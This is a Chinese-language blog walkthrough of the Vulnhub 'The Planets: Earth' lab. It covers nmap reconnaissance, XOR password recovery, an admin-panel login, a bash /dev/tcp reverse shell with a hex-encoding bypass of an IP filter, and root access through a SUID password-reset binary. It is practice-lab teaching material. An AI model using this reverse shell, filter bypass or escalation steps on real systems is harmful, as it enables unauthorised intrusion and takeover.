Vulnhub--The Planets: Earth

原创

m0_53065491 已于 2022-03-31 20:43:59 修改 3918 收藏

文章标签： web安全

于 2022-03-17 14:50:44 首次发布

本文链接：https://blog.csdn.net/m0_53065491/article/details/123550416

Vulnhub 靶场 The Planets: Earth

准备工作

靶机下载：https://www.vulnhub.com/entry/the-planets-earth,755/

攻击机：kali(需要和靶机设置成同一种网络模式，NAT 桥接 仅主机均可)

0x01 信息收集

使用nmap确定靶机ip地址

```
nmap -sS -T4 -v 192.168.8.0/24
```

```
Nmap scan report for earth.local (192.168.8.138)
Host is up (0.00081s latency).
Not shown: 982 filtered tcp ports (no-response), 15 filtered tcp ports (admin-prohibited)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
MAC Address: 00:0C:29:50:22:DF (VMware)
```

扫描服务器版本信息

```
nmap -sS -A 192.168.8.138
```

```
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-16 09:18 EDT
Nmap scan report for earth.local (192.168.8.138)
Host is up (0.00089s latency).
Not shown: 987 filtered tcp ports (no-response), 10 filtered tcp ports (admin-prohibited)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey:
|   256 5b:2c:3f:dc:8b:76:e9:21:7b:d0:56:24:df:be:e9:a8 (ECDSA)
|_  256 b0:3c:72:3b:72:21:26:ce:3a:84:e8:41:ec:c8:f8:41 (ED25519)
80/tcp  open  http     Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_http-title: Earth Secure Messaging
|_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
443/tcp open  ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_http-title: Earth Secure Messaging
| ssl-cert: Subject: commonName=earth.local/stateOrProvinceName=Space
| `Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local`
| Not valid before: 2021-10-12T23:26:31
|_Not valid after:  2031-10-10T23:26:31
|_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
| tls-alpn:
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
MAC Address: 00:0C:29:50:22:DF (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.4
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.89 ms earth.local (192.168.8.138)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.44 seconds
```

发现了两条**DNS**记录，添加这两条几录到`/etc/hosts`

```
┌──(root㉿kali)-[/home/kali]
└─# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.8.138 earth.local
192.168.8.138 terratest.earth.local
```

访问网站

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-caR1RXxW-1647499925963)(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220316212533197.png)]

这里发现了最底下有一串字符，先复制下来，肯定有用。除此之外在没有发现有用的信息

0x02 目录扫描

接下来老套路，扫描目录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2oVYLDXP-1647499925965)
(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220316213702350.png)]

发现了登录页面，先尝试进行一波**SQL**注入，经过测试发现这条路行不通

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3yn4fXhy-1647499925965)
(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220316213348123.png)]

继续尝试扫描**HTTPS**

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ThUnt1Hm-1647499925966)
(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220316213837347.png)]

查看**robots.txt**文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EwqR7zJU-1647499925966)
(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220316213920857.png)]

又一个不是知道是什么格式的文件，手工尝试几次收发现是**txt**格式的文件，访问**testingnotes.txt**

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iRYdAVgF-1647499925967)
(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220316214100728.png)]

```
测试安全消息传递系统注意事项:
*使用XOR加密作为算法，应该是安全的使用RSA。
*地球已经确认他们收到了我们发送的信息。
使用*testdata.txt测试加密。
*terra用作管理门户的用户名。
待办事项:
*我们如何安全地将每月的钥匙发送到地球?或者我们应该每周更换钥匙?
*需要测试不同的密钥长度，以防止暴力。钥匙应该有多长?
*需要改进消息界面和管理面板的界面，目前这是非常基本的。
```

用户名：**terra**，秘钥**key**：**testdata.txt**里的东西。访问**testdata.txt**，保存到本地

0x03 漏洞利用

加密信息就是第一次访问网站时候的一串字符，加密方式为**XOR**，利用**CyberChef**进行破解

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6USWUGTi-1647499925967)
(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220316214712241.png)]

解密为一串重复的密码，利用刚得到的用户名和密码进行登录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dnN2T2W2-1647499925968)
(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220316214926382.png)]

接下来直接写反弹**shell**

```
bash -i >& /dev/tcp/192.168.8.128/9999 0>&1
```

尝试生成反向 **shell** 时，它说远程连接被禁止。猜测用正则过滤了**ip**格式。因此，我们可以通过将其转换为**16**进制法来绕过它。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eu4ZAkwN-1647499925968)(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220316215501403.png)]

成功反弹**shell**

0x04 提权

提权这里我平常的思路是先尝试利用**SUID**提权，提不起来在尝试内核提权

```
find / -perm -u=s -type f 2>/dev/null
```

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GvkvOeMl-1647499925969)(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220316215945304.png)]

尝试执行**/usr/bin/reset_root**，出现了报错

此处参考了国外一篇文章**https://nepcodex.com/2021/12/earth-the-planets-vulnhub-writeup/**

原因是缺少三个文件导致的，先创建这三个文件，然后运行

```
bash-5.1$ touch /dev/shm/kHgTFI5G /dev/shm/Zw7bV9U5 /tmp/kcM0Wewetouch /dev/shm/kHgTFI5G /dev/shm/Zw7bV9U5 /tmp/kcM0Wewebash-5.1$ /usr/bin/reset_root/usr/bin/reset_rootCHECKING IF RESET TRIGGERS PRESENT...RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earthbash-5.1$
```

root密码被重置成**Earth**，直接登录

最后一步，拿**flag**

```
find / -name *flag.txt/root/root_flag.txt/var/earth_web/user_flag.txt
```

最终拿下两个**flag**

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ncUObnYt-1647499925969)(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220316221821123.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FPJZEyRY-1647499925970)(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220316221911126.png)]